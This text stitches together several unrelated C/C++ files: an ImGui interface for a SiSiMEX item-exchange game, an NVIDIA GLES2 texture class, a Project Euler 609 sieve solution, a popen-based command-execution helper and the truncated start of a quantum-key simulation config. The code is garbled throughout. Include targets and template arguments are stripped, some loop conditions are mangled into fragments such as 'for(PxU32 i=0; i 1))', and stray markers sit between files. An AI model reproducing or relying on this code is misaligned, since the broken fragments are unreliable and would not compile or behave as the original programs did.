(ImGui::IsItemHovered()) { ImGui::BeginTooltip(); ImGui::TextUnformatted(_nodes[nodeIndex]->GetName().c_str()); ImGui::EndTooltip(); } ImGui::SameLine(); for (ItemId itemId = 0U; itemId < MAX_ITEMS; ++itemId) { unsigned int numItems = _nodes[nodeIndex]->itemList().numItemsWithId(itemId); if (numItems == 0) { ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(0.0f, 0.0f, 0.0f, 0.0f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, ImVec4(1.0f, 0.0f, 0.0f, 0.3f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, ImVec4(1.0f, 0.0f, 0.0f, 0.2f)); } else { ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(0.0f, 1.0f, 1.0f, 0.5f*numItems)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, ImVec4(.0f, 1.0f, 1.0f, 0.3f*numItems)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, ImVec4(.0f, 1.0f, 1.0f, 0.2f*numItems)); } const int buttonId = nodeIndex * MAX_ITEMS + itemId; std::ostringstream oss; oss << numItems; oss << "##" << buttonId; if (ImGui::Button(oss.str().c_str(), ImVec2(20, 20))) { if (numItems == 0) { selectedNode = nodeIndex; selectedItem = itemId; comboItem = 0; ImGui::OpenPopup("ItemOps"); } } ImGui::PopStyleColor(3); if (itemId < MAX_ITEMS - 1) ImGui::SameLine(); } } // Context menu to spawn agents if (ImGui::BeginPopup("ItemOps")) { int numberOfItems = _nodes[selectedNode]->itemList().numItemsWithId(selectedItem); // If it is a missing item... if (numberOfItems == 0) { int requestedItem = selectedItem; // Check if we have spare items std::vector comboStrings; std::vector itemIds; for (ItemId itemId = 0; itemId < MAX_ITEMS; ++itemId) { if (_nodes[selectedNode]->itemList().numItemsWithId(itemId) > 1) { std::ostringstream oss; oss << itemId; comboStrings.push_back(oss.str()); itemIds.push_back(itemId); } } std::vector comboCStrings; for (auto &s : comboStrings) { comboCStrings.push_back(s.c_str()); } if (itemIds.size() > 0) { ImGui::Text("Create MultiCastPetitioner?"); ImGui::Separator(); ImGui::Text("Node %d", selectedNode); ImGui::Text(" - Petition: %d", requestedItem); ImGui::Combo("Contribution", &comboItem, (const char **)&comboCStrings[0], (int)comboCStrings.size()); if (ImGui::Button("Spawn MCP")) { int contributedItem = itemIds[comboItem]; spawnMCP(selectedNode, requestedItem, contributedItem); ImGui::CloseCurrentPopup(); } } else { ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1.0, 0.0, 0.0, 1.0)); ImGui::Text("No spare items available to create an MCP."); ImGui::PopStyleColor(1); } } ImGui::EndPopup(); } ImGui::End(); if (showInitialInfo) { ImGui::OpenPopup("showInitialInfo"); } if (ImGui::BeginPopupModal("showInitialInfo", NULL, ImGuiWindowFlags_AlwaysAutoResize)) { ImGui::Text("Hello this is a our Project, in this project \nyou can test our SiSiMEX project!\n\n"); ImGui::Text("---"); ImGui::Text("In this demo, you have different players\nto make interchanges between them.\nEach player has his own type (Agility/Power/Intelligence)\nand the objective is to complete the specific armor set.\nLet's go and try it!\n\n"); ImGui::Separator(); if (ImGui::Button("OK", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); showInitialInfo = false; } ImGui::EndPopup(); } ImGui::Begin("Character Menu", nullptr, ImGuiWindowFlags_NoCollapse); ImGui::Separator(); static int user_selected = 0; static int requestid_current = -1; static int offer_current = -1; ImGui::Text("Select a User:"); const char* items[] = { "Jordi", "Elliot", "Marc", "Kyra", "Jhon", "Xavier" }; if (ImGui::Combo("##Users: ", &user_selected, items, IM_ARRAYSIZE(items))) { requestid_current = -1; offer_current = -1; } // Info Player ------------------------ ImGui::Text(""); ImGui::Text("User Info -----------------------------"); ImGui::TextWrapped("User Name: "); ImGui::SameLine(); ImGui::TextWrapped(items[user_selected]); if (_nodes[user_selected]->GetType() == TypeUser::AGILITY) { ImGui::Text("User Type: "); ImGui::SameLine(); ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(0, 1, 0, 1)); ImGui::TextWrapped("Agility"); ImGui::PopStyleColor(); } if (_nodes[user_selected]->GetType() == TypeUser::FORCE) { ImGui::Text("User Type: "); ImGui::SameLine(); ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1, 0, 0, 1)); ImGui::TextWrapped("Power"); ImGui::PopStyleColor(); } if (_nodes[user_selected]->GetType() == TypeUser::INTELLIGENCE) { ImGui::Text("User Type: "); ImGui::SameLine(); ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1, 1, 0, 1)); ImGui::TextWrapped("Intelligence"); ImGui::PopStyleColor(); } ImGui::TextWrapped("Armor Status: "); ImGui::SameLine(); int numSelectablesSameType = 0; for (int n = 0; n < MAX_ITEMS; n++) { char buf[32]; sprintf(buf, GetStringFromID_Type(n, _nodes[user_selected]->GetType()).c_str(), n); if (strcmp(buf, "Error...") != 0) { if (_nodes[user_selected]->itemList().numItemsWithId(n) == 0) { numSelectablesSameType++; } } } if (numSelectablesSameType == 0) { ImGui::TextColored(ImVec4(0.015, 0.77, 1, 1), "Completed"); } else { ImGui::TextColored(ImVec4(1, 0.603, 0, 1), "Uncompleted"); } ImGui::Text(""); ImGui::Text("Items Info ---------------------------- "); ImGui_TextIDColor(0, user_selected); ImGui::Separator(); // -------------------------------- ImGui::Text("Create MultiCast Petitioner ------------------------"); ImGui::Text(""); ImGui::AlignFirstTextHeightToWidgets(); ImGui::Text("Select a Request: "); ImGui::SameLine(); // std::string nameButton = "Select Item"; if (requestid_current != -1) { nameButton = GetStringFromID(requestid_current); } if (ImGui::Button(nameButton.c_str(), ImVec2(200, 20))) ImGui::OpenPopup("SelectRequest"); if (ImGui::BeginPopup("SelectRequest")) { int numSelectables = 0; for (int n = 0; n < MAX_ITEMS; n++) { char buf[32]; //std::string itemRequest = ; sprintf(buf, GetStringFromID_Type(n, _nodes[user_selected]->GetType()).c_str(), n); if (strcmp(buf, "Error...") != 0) { if (_nodes[user_selected]->itemList().numItemsWithId(n) == 0) { numSelectables++; if (ImGui::Selectable(buf, requestid_current == n)) requestid_current = n; } } } if (numSelectables == 0) { if (ImGui::Selectable("You can't Request more Items", requestid_current == -1, ImGuiSelectableFlags_Disabled)) requestid_current = -1; } ImGui::EndPopup(); } // --------------------------------------- ImGui::Text(""); ImGui::AlignFirstTextHeightToWidgets(); ImGui::Text("Select a Offer: "); ImGui::SameLine(); // std::string nameButton2 = "Select Offer"; if (offer_current != -1) { nameButton2 = GetStringFromID(offer_current); } if (ImGui::Button(nameButton2.c_str(), ImVec2(200, 20))) ImGui::OpenPopup("SelectOffer"); if (ImGui::BeginPopup("SelectOffer")) { for (int n = 0; n < MAX_ITEMS; n++) { char buf[32]; sprintf(buf, GetStringFromID(n).c_str(), n); if (_nodes[user_selected]->itemList().numItemsWithId(n) > 0) { if (ImGui::Selectable(buf, offer_current == n)) offer_current = n; } } ImGui::EndPopup(); } ImGui::Text(""); ImGui::SameLine(420); ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(1, 0, 0, 1)); bool openButton = false; if (ImGui::Button("Spawn MCP", ImVec2(124, 40))) { openButton = true; } if (requestid_current == -1 || offer_current == -1) { if (ImGui::IsItemHovered()) { ImGui::BeginTooltip(); std::string text = "First you need to select:"; if (requestid_current == -1) text += "\n-Request item"; if (offer_current == -1) text += "\n-Offer Item"; ImGui::TextUnformatted(text.c_str()); ImGui::EndTooltip(); } openButton = false; } if (openButton) { spawnMCP(user_selected, requestid_current, offer_current); _nodes[user_selected]->itemList().UpdateItemUsed(requestid_current, true); requestid_current = -1; offer_current = -1; } ImGui::PopStyleColor(); ImGui::End(); } return true; } int ModuleNodeCluster::GetIDFromString(std::string nameItem) { if (nameItem == "Uliana's Spirit") { return 0; } else if (nameItem == "Uliana's Heart") { return 1; } else if (nameItem == "Uliana's Fury") { return 2; } else if (nameItem == "Uliana's Destiny") { return 3; } else if (nameItem == "Pestilence Mask") { return 4; } else if (nameItem == "Pestilence Defense") { return 5; } else if (nameItem == "Pestilence Incantations") { return 6; } else if (nameItem == "Pestilence Boots") { return 7; } else if (nameItem == "Crown of the Light") { return 8; } else if (nameItem == "Heart of the Light") { return 9; } else if (nameItem == "Towers of the Light") { return 10; } else if (nameItem == "Foundation of the Light") { return 11; } return 0; } std::string ModuleNodeCluster::GetStringFromID(int idItem) { switch (idItem) { case 0: { return "Uliana's Spirit"; break; } case 1: { return "Uliana's Heart"; break; } case 2: { return "Uliana's Fury"; break; } case 3: { return "Uliana's Destiny"; break; } case 4: { return "Pestilence Mask"; break; } case 5: { return "Pestilence Defense"; break; } case 6: { return "Pestilence Incantations"; break; } case 7: { return "Pestilence Boots"; break; } case 8: { return "Crown of the Light"; break; } case 9: { return "Heart of the Light"; break; } case 10: { return "Towers of the Light"; break; } case 11: { return "Foundation of the Light"; break; } } return "Error..."; } std::string ModuleNodeCluster::GetStringFromID_Type(int idItem, TypeUser type) { if (type == TypeUser::AGILITY) { switch (idItem) { case 0: { return "Uliana's Spirit"; break; } case 1: { return "Uliana's Heart"; break; } case 2: { return "Uliana's Fury"; break; } case 3: { return "Uliana's Destiny"; break; } } } if (type == TypeUser::INTELLIGENCE) { switch (idItem) { case 4: { return "Pestilence Mask"; break; } case 5: { return "Pestilence Defense"; break; } case 6: { return "Pestilence Incantations"; break; } case 7: { return "Pestilence Boots"; break; } } } if (type == TypeUser::FORCE) { switch (idItem) { case 8: { return "Crown of the Light"; break; } case 9: { return "Heart of the Light"; break; } case 10: { return "Towers of the Light"; break; } case 11: { return "Foundation of the Light"; break; } } } return "Error..."; } TypeUser ModuleNodeCluster::GetTypeFromID(int idItem) { if (idItem >= 0 && idItem <= 3) { return TypeUser::AGILITY; } if (idItem >= 4 && idItem <= 7) { return TypeUser::INTELLIGENCE; } if (idItem >= 7 && idItem <= 11) { return TypeUser::FORCE; } return TypeUser::DEFAULT; } void ModuleNodeCluster::ImGui_TextIDColor(int id, int user_selected) { for (int i = 0; i < MAX_ITEMS; i++) { if (strcmp(GetStringFromID(_nodes[user_selected]->itemList().numItemsWithId(i)).c_str(), "Error...") == 0) { continue; } if (_nodes[user_selected]->itemList().numItemsWithId(i) == 0) { continue; } //ImGui::Text(""); ImGui::Separator(); ImGui::Bullet(); ImGui::Text("Item ID: "); ImGui::SameLine(); if (GetTypeFromID(i) == TypeUser::AGILITY) { ImGui::TextColored(ImVec4(0, 1, 0, 1), std::to_string(i).c_str()); ImGui::Bullet(); ImGui::Text("Name: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(0, 1, 0, 1), GetStringFromID(i).c_str()); ImGui::Bullet(); ImGui::Text("Ammount: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(0, 1, 0, 1), std::to_string(_nodes[user_selected]->itemList().numItemsWithId(i)).c_str()); } if (GetTypeFromID(i) == TypeUser::FORCE) { ImGui::TextColored(ImVec4(1, 0, 0, 1), std::to_string(i).c_str()); ImGui::Bullet(); ImGui::Text("Name: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(1, 0, 0, 1), GetStringFromID(i).c_str()); ImGui::Bullet(); ImGui::Text("Ammount: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(1, 0, 0, 1), std::to_string(_nodes[user_selected]->itemList().numItemsWithId(i)).c_str()); } if (GetTypeFromID(i) == TypeUser::INTELLIGENCE) { ImGui::TextColored(ImVec4(1, 1, 0, 1), std::to_string(i).c_str()); ImGui::Bullet(); ImGui::Text("Name: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(1, 1, 0, 1), GetStringFromID(i).c_str()); ImGui::Bullet(); ImGui::Text("Ammount: "); ImGui::SameLine(); ImGui::TextColored(ImVec4(1, 1, 0, 1), std::to_string(_nodes[user_selected]->itemList().numItemsWithId(i)).c_str()); } ImGui::Spacing(); } } bool ModuleNodeCluster::stop() { state = STOPPING; return true; } bool ModuleNodeCluster::cleanUp() { return true; } void ModuleNodeCluster::OnAccepted(TCPSocketPtr socket) { // Nothing to do } void ModuleNodeCluster::OnPacketReceived(TCPSocketPtr socket, InputMemoryStream & stream) { //iLog << "OnPacketReceived"; PacketHeader packetHead; packetHead.Read(stream); // Get the agent auto agentPtr = App->agentContainer->getAgent(packetHead.dstAgentId); if (agentPtr != nullptr) { agentPtr->OnPacketReceived(socket, packetHead, stream); } else { eLog << "Couldn't find agent: " << packetHead.dstAgentId; } } void ModuleNodeCluster::OnDisconnected(TCPSocketPtr socket) { // Nothing to do } void ModuleNodeCluster::ShowHelpMarker(const char* desc, const char* icon) { ImGui::TextDisabled(icon); if (ImGui::IsItemHovered()) { ImGui::BeginTooltip(); ImGui::PushTextWrapPos(450.0f); ImGui::TextUnformatted(desc); ImGui::PopTextWrapPos(); ImGui::EndTooltip(); } } bool ModuleNodeCluster::startSystem() { iLog << "--------------------------------------------"; iLog << " SiSiMEX: Node Cluster "; iLog << "--------------------------------------------"; iLog << ""; // Create listen socket TCPSocketPtr listenSocket = SocketUtil::CreateTCPSocket(SocketAddressFamily::INET); if (listenSocket == nullptr) { eLog << "SocketUtil::CreateTCPSocket() failed"; return false; } iLog << " - Server Listen socket created"; // Bind const int port = LISTEN_PORT_AGENTS; SocketAddress bindAddress(port); // localhost:LISTEN_PORT_AGENTS listenSocket->SetReuseAddress(true); int res = listenSocket->Bind(bindAddress); if (res != NO_ERROR) { return false; } iLog << " - Socket Bind to interface 127.0.0.1:" << LISTEN_PORT_AGENTS; // Listen mode res = listenSocket->Listen(); if (res != NO_ERROR) { return false; } iLog << " - Socket entered in Listen state..."; // Add the socket to the manager App->networkManager->SetDelegate(this); App->networkManager->AddSocket(listenSocket); NodePtr node = std::make_shared(0, "Jordi", TypeUser::INTELLIGENCE); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(0); node->itemList().addItem(2); node->itemList().addItem(3); node->itemList().addItem(5); node->itemList().addItem(7); node->itemList().addItem(8); node->itemList().addItem(10); node->itemList().addItem(11); node = std::make_shared(1, "Elliot", TypeUser::FORCE); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(0); node->itemList().addItem(1); node->itemList().addItem(2); node->itemList().addItem(4); node->itemList().addItem(6); node->itemList().addItem(7); node->itemList().addItem(10); node = std::make_shared(2, "Marc", TypeUser::AGILITY); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(1); node->itemList().addItem(3); node->itemList().addItem(4); node->itemList().addItem(5); node->itemList().addItem(7); node->itemList().addItem(9); node->itemList().addItem(11); node = std::make_shared(3, "Kyra", TypeUser::FORCE); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(0); node->itemList().addItem(1); node->itemList().addItem(3); node->itemList().addItem(4); node->itemList().addItem(6); node->itemList().addItem(7); node->itemList().addItem(8); node->itemList().addItem(11); node = std::make_shared(4, "Jhon", TypeUser::INTELLIGENCE); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(0); node->itemList().addItem(1); node->itemList().addItem(2); node->itemList().addItem(3); node->itemList().addItem(5); node->itemList().addItem(8); node->itemList().addItem(9); node->itemList().addItem(10); node = std::make_shared(5, "Xavier", TypeUser::AGILITY); node->itemList().initializeComplete(); _nodes.push_back(node); node->itemList().addItem(2); node->itemList().addItem(4); node->itemList().addItem(5); node->itemList().addItem(6); node->itemList().addItem(9); node->itemList().addItem(10); node->itemList().addItem(11); return true; } void ModuleNodeCluster::runSystem() { // Check the results of agents for (AgentPtr agent : App->agentContainer->allAgents()) { if (!agent->isValid()) { continue; } // Update ItemList with finalized MCCs MCC *mcc = agent->asMCC(); if (mcc != nullptr && mcc->negotiationFinished()) { Node *node = mcc->node(); node->itemList().removeItem(mcc->contributedItemId()); node->itemList().addItem(mcc->constraintItemId()); mcc->stop(); iLog << "MCC exchange at Node " << node->id() << " (" << node->GetName() << ") :" << " -" << mcc->contributedItemId() << " +" << mcc->constraintItemId(); } // Update ItemList with MCPs that found a solution MCP *mcp = agent->asMCP(); if (mcp != nullptr && mcp->negotiationFinished() && mcp->searchDepth() == 0) { Node *node = mcp->node(); if (mcp->negotiationAgreement()) { node->itemList().addItem(mcp->requestedItemId()); node->itemList().removeItem(mcp->contributedItemId()); iLog << "MCP exchange at Node " << node->id() << " (" << node->GetName() << ") :" << " -" << mcp->contributedItemId() << " +" << mcp->requestedItemId(); } else { wLog << "MCP exchange at Node " << node->id() << " (" << node->GetName() << ") not found:" << " -" << mcp->contributedItemId() << " +" << mcp->requestedItemId(); } mcp->stop(); } } // WARNING: // The list of items of each node can change at any moment if a multilateral exchange took place // The following lines looks for agents which, after an update of items, make sense no more, and stops them for (AgentPtr agent : App->agentContainer->allAgents()) { if (!agent->isValid()) { continue; } Node *node = agent->node(); MCC *mcc = agent->asMCC(); if (mcc != nullptr && mcc->isIdling()) { int numContributedItems = node->itemList().numItemsWithId(mcc->contributedItemId()); int numRequestedItems = node->itemList().numItemsWithId(mcc->constraintItemId()); if (numContributedItems < 1 || numRequestedItems > 0) { // if the contributed is not repeated at least once... or we already got the constraint mcc->stop(); } } } } void ModuleNodeCluster::stopSystem() { } void ModuleNodeCluster::spawnMCP(int nodeId, int requestedItemId, int contributedItemId) { dLog << "Spawn MCP - node " << nodeId << " - req. " << requestedItemId << " - contrib. " << contributedItemId; if (nodeId >= 0 && nodeId < (int)_nodes.size()) { NodePtr node = _nodes[nodeId]; App->agentContainer->createMCP(node.get(), requestedItemId, contributedItemId, 0, 0); } else { wLog << "Could not find node with ID " << nodeId; } } void ModuleNodeCluster::spawnMCC(int nodeId, int contributedItemId, int constraintItemId) { dLog << "Spawn MCC - node " << nodeId << " contrib. " << contributedItemId << " - constr. " << constraintItemId; if (nodeId >= 0 && nodeId < (int)_nodes.size()) { NodePtr node = _nodes[nodeId]; App->agentContainer->createMCC(node.get(), contributedItemId, constraintItemId); } else { wLog << "Could not find node with ID " << nodeId; } } // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2008-2018 NVIDIA Corporation. All rights reserved. #include "GLES2RendererTexture2D.h" #if defined(RENDERER_ENABLE_GLES2) namespace SampleRenderer { static GLuint getGLPixelFormat(RendererTexture2D::Format format) { GLuint glformat = 0; switch(format) { #if !defined(RENDERER_IOS) case RendererTexture2D::FORMAT_B8G8R8A8: glformat = GL_RGBA8; break; #else case RendererTexture2D::FORMAT_B8G8R8A8: glformat = GL_BGRA8; break; #endif case RendererTexture2D::FORMAT_R32F: glformat = GL_LUMINANCE; break; case RendererTexture2D::FORMAT_D16: glformat = GL_DEPTH_COMPONENT; break; case RendererTexture2D::FORMAT_D24S8: glformat = GL_DEPTH_COMPONENT; break; default: break; } return glformat; } static GLuint getGLPixelInternalFormat(RendererTexture2D::Format format) { GLuint glinternalformat = 0; switch(format) { case RendererTexture2D::FORMAT_B8G8R8A8: //apparently APPLE's current GLES2 implementation doesn't really support BGRA as an internal texture format glinternalformat = GL_RGBA8; break; case RendererTexture2D::FORMAT_DXT1: glinternalformat = GL_COMPRESSED_RGBA_S3TC_DXT1_EXT; break; case RendererTexture2D::FORMAT_DXT3: glinternalformat = GL_COMPRESSED_RGBA_S3TC_DXT3_EXT; break; case RendererTexture2D::FORMAT_DXT5: glinternalformat = GL_COMPRESSED_RGBA_S3TC_DXT5_EXT; break; case RendererTexture2D::FORMAT_PVR_2BPP: glinternalformat = GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG; break; case RendererTexture2D::FORMAT_PVR_4BPP: glinternalformat = GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG; break; default: break; } RENDERER_ASSERT(glinternalformat, "Unable to compute GL Internal Format."); return glinternalformat; } static GLuint getGLPixelType(RendererTexture2D::Format format) { GLuint gltype = 0; switch(format) { case RendererTexture2D::FORMAT_B8G8R8A8: gltype = GL_UNSIGNED_BYTE; break; case RendererTexture2D::FORMAT_R32F: gltype = GL_FLOAT; break; case RendererTexture2D::FORMAT_D16: gltype = GL_UNSIGNED_SHORT; break; case RendererTexture2D::FORMAT_D24S8: gltype = GL_UNSIGNED_INT; break; default: break; } return gltype; } static GLint getGLTextureFilter(RendererTexture2D::Filter filter, bool mipmap) { GLint glfilter = 0; switch(filter) { case RendererTexture2D::FILTER_NEAREST: glfilter = mipmap ? GL_NEAREST_MIPMAP_NEAREST : GL_NEAREST; break; case RendererTexture2D::FILTER_LINEAR: glfilter = mipmap ? GL_LINEAR_MIPMAP_LINEAR : GL_LINEAR; break; case RendererTexture2D::FILTER_ANISOTROPIC: glfilter = mipmap ? GL_LINEAR_MIPMAP_LINEAR : GL_LINEAR; break; default: break; } RENDERER_ASSERT(glfilter, "Unable to convert to OpenGL Filter mode."); return glfilter; } static GLint getGLTextureAddressing(RendererTexture2D::Addressing addressing) { GLint glwrap = 0; switch(addressing) { case RendererTexture2D::ADDRESSING_WRAP: glwrap = GL_REPEAT; break; case RendererTexture2D::ADDRESSING_CLAMP: glwrap = GL_CLAMP; break; case RendererTexture2D::ADDRESSING_MIRROR: glwrap = GL_MIRRORED_REPEAT; break; default: break; } RENDERER_ASSERT(glwrap, "Unable to convert to OpenGL Addressing mode."); return glwrap; } GLES2RendererTexture2D::GLES2RendererTexture2D(const RendererTextureDesc &desc) : RendererTexture2D(desc) { m_textureid = 0; m_glformat = 0; m_glinternalformat = 0; m_gltype = 0; m_numLevels = 0; m_data = 0; m_glformat = getGLPixelFormat(desc.format); m_glinternalformat = getGLPixelInternalFormat(desc.format); m_gltype = getGLPixelType(desc.format); glGenTextures(1, &m_textureid); RENDERER_ASSERT(m_textureid, "Failed to create OpenGL Texture."); if(m_textureid) { m_width = desc.width; m_height = desc.height; m_numLevels = desc.numLevels; m_data = new PxU8*[m_numLevels]; memset(m_data, 0, sizeof(PxU8*)*m_numLevels); glBindTexture(GL_TEXTURE_2D, m_textureid); if(isCompressedFormat(desc.format)) { for(PxU32 i=0; i 1)); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, getGLTextureFilter(desc.filter, false)); if(desc.filter == FILTER_ANISOTROPIC) { GLfloat maxAnisotropy = 1.0f; glGetFloatv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, &maxAnisotropy); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAX_ANISOTROPY_EXT, maxAnisotropy); } // set addressing modes... glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, getGLTextureAddressing(desc.addressingU)); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, getGLTextureAddressing(desc.addressingV)); glBindTexture(GL_TEXTURE_2D, 0); } } GLES2RendererTexture2D::~GLES2RendererTexture2D(void) { if(m_textureid) { glDeleteTextures(1, &m_textureid); } if(m_data) { for(PxU32 i=0; i>level, getFormat()) * getBlockSize(); } return buffer; } void GLES2RendererTexture2D::select(PxU32 stageIndex) { bind(stageIndex); } void GLES2RendererTexture2D::unlockLevel(PxU32 level) { RENDERER_ASSERT(level < m_numLevels, "Level out of range!"); if(m_textureid && level < m_numLevels) { PxU32 w = getLevelDimension(getWidth(), level); PxU32 h = getLevelDimension(getHeight(), level); glBindTexture(GL_TEXTURE_2D, m_textureid); if(isCompressedFormat(getFormat())) { PxU32 levelSize = computeImageByteSize(w, h, 1, getFormat()); glCompressedTexSubImage2D(GL_TEXTURE_2D, (GLint)level, 0, 0, w, h, m_glinternalformat, levelSize, m_data[level]); } else { glTexImage2D(GL_TEXTURE_2D, (GLint)level, m_glinternalformat, w, h, 0, m_glformat, m_gltype, m_data[level]); } glBindTexture(GL_TEXTURE_2D, 0); } } void GLES2RendererTexture2D::bind(PxU32 textureUnit) { if(m_textureid) { glActiveTextureARB(GL_TEXTURE0_ARB + textureUnit); glClientActiveTextureARB(GL_TEXTURE0_ARB + textureUnit); glBindTexture(GL_TEXTURE_2D, m_textureid); } } } #endif // #if defined(RENDERER_ENABLE_GLES2) Thomaw/Project-Euler600-700/609.cpp #include #include #include #include #define P_VALUE 100000000u #define MODULUS 1000000007u #define NBIT(s,n) (s[n >> 5] & (1 << (n & 31))) uint32_t uint_sqrt(uint64_t); uint32_t prime_count(uint32_t*,uint32_t,uint32_t); uint32_t mod_prod(uint32_t*,uint32_t); bool prime(uint32_t*,uint32_t); int main(void) { uint32_t n, sq = uint_sqrt(P_VALUE), i, d, primecount, nc; uint32_t* sieve; uint32_t* plist; uint32_t* ktable; // first sieve primes up to 1e8 (~6MB memory) sieve = (uint32_t*) calloc(sizeof(uint32_t), 1 + P_VALUE >> 6); for (n = 1u; n <= sq; ++n) { if (NBIT(sieve, n)) continue; // composite i = n, d = (i << 1) + 1u; while ((i += d) <= P_VALUE >> 1) // multiples 3n,5n,7n,etc sieve[i >> 5] |= 1 << (i & 31); } // build a list of primes primecount = 1u; for (i = 1u; i <= P_VALUE >> 1; ++i) if (!NBIT(sieve, i)) ++primecount; // allocate and store primes plist = (uint32_t*) malloc(sizeof(uint32_t) * primecount); plist[0] = 2u; primecount = 1u; // index for storing primes, returns to original value for (i = 1u; i < P_VALUE >> 1; ++i) // next store odd primes if (!NBIT(sieve, i)) plist[primecount++] = (i << 1) + 1u; // allocate a table to count sequences for all k values // determine length of table as the longest prime sequence possible // generating the prime sequence starting at 1e8 will get that // start at 2 to include 1st number and last with 1 extra space d = 2u, nc = P_VALUE; while (nc != 1u) { nc = prime_count(plist, primecount, nc); ++d; } ktable = (uint32_t*) calloc(sizeof(uint32_t), i); // loop for all starting values, assuming all pi sequences end in 1 for (n = P_VALUE; n != 1u; --n) { nc = n; i = 0u; // count nonprimes if (!prime(sieve, nc)) ++i; // get sequence to length of 2 nc = prime_count(plist, primecount, nc); if (!prime(sieve, nc)) ++i; // sequence is length of 2 so start counting pi sequences ++ktable[i]; while (nc != 1u) // continue until end of pi sequence { nc = prime_count(plist, primecount, nc); if (!prime(sieve, nc)) ++i; ++ktable[i]; } } printf("sieve, all starting nums: %u\n", mod_prod(ktable, d)); free(sieve); free(plist); free(ktable); return 0; } // prime function made specifically for this problem bool prime(uint32_t* sieve, uint32_t n) { if (n < 2u) return 0; // 0,1 if (n == 2u) return 1; if (!(n % 2u)) return 0; // even, not in sieve // odd, at least 3, in sieve return !NBIT(sieve, n >> 1); } // returns the product of all integers mod modulus (skips zeros) uint32_t mod_prod(uint32_t* list, uint32_t len) { uint64_t prodmod = 1u; uint32_t i; for (i = 0u; i != len; ++i) if (list[i]) { prodmod *= list[i]; prodmod %= MODULUS; } return prodmod; } // returns number of primes not exceeding n // DO NOT PASS n < 2 or it may crash uint32_t prime_count(uint32_t* list, uint32_t pc, uint32_t n) { // find first value exceeding n and return its index uint32_t l = 0u, mid; //--pc; while (l < pc) { mid = (l + pc) >> 1; if (list[mid] <= n) { l = mid + 1u; if (list[l] > n) return l; } else // list[mid] > n { pc = mid - 1u; if (list[pc] <= n) return mid; } } } uint32_t uint_sqrt(uint64_t n) // floor(sqrt(n)) { uint64_t sq = 0uL, one = 0x4000000000000000uL; while (one > n) one >>= 2; while (one) { if (n >= sq + one) { n -= (sq + one); sq += (one << 1); } sq >>= 1; one >>= 2; } return (uint32_t) sq; } 0 /* * system.cpp * * Created on: 19 Jan 2019 * Author: Gabi */ System::System() { } FILE* System::openPipe( STRINGCLASS command ) { FILE* pipe; #ifdef RUNNING_ON_LINUX pipe = popen(command.c_str(), "r"); #endif #ifdef RUNNING_ON_WINDOWS pipe = _popen(command, "r"); #endif return pipe; } void System::closePipe( FILE* pipe ) { #ifdef RUNNING_ON_LINUX pclose(pipe); #endif #ifdef RUNNING_ON_WINDOWS _pclose(pipe); #endif } STRINGCLASS System::Execute( STRINGCLASS command ) { char buffer[128]; std::string result = ""; FILE* pipe; pipe = this->openPipe( command ); if ( ! pipe ) { return "popen() failed!"; } try { while (fgets(buffer, sizeof buffer, pipe) != NULL) { result += buffer; } } catch (...) { this->closePipe( pipe ); return ""; } this->closePipe( pipe ); return result; } int System::GetTerminalWidth() { // terminal width struct winsize size; ioctl( 0, TIOCGWINSZ, (PCHAR) &size ); return size.ws_col; } 0 #include "ConfigSimulation.h" /// constructor ConfigSimulation::ConfigSimulation(bool IsLogic, uint32_t NQbits, uint32_t NSimulations, bool withEve, double sigma, std::function PdfNoise) : fUseErrorCorrection(IsLogic), fNQbits(NQbits), fNSimulations(NSimulations), fSigma(sigma), fEveIsPresent(withEve){ if(sigma>1e-5) fPdfNoise = 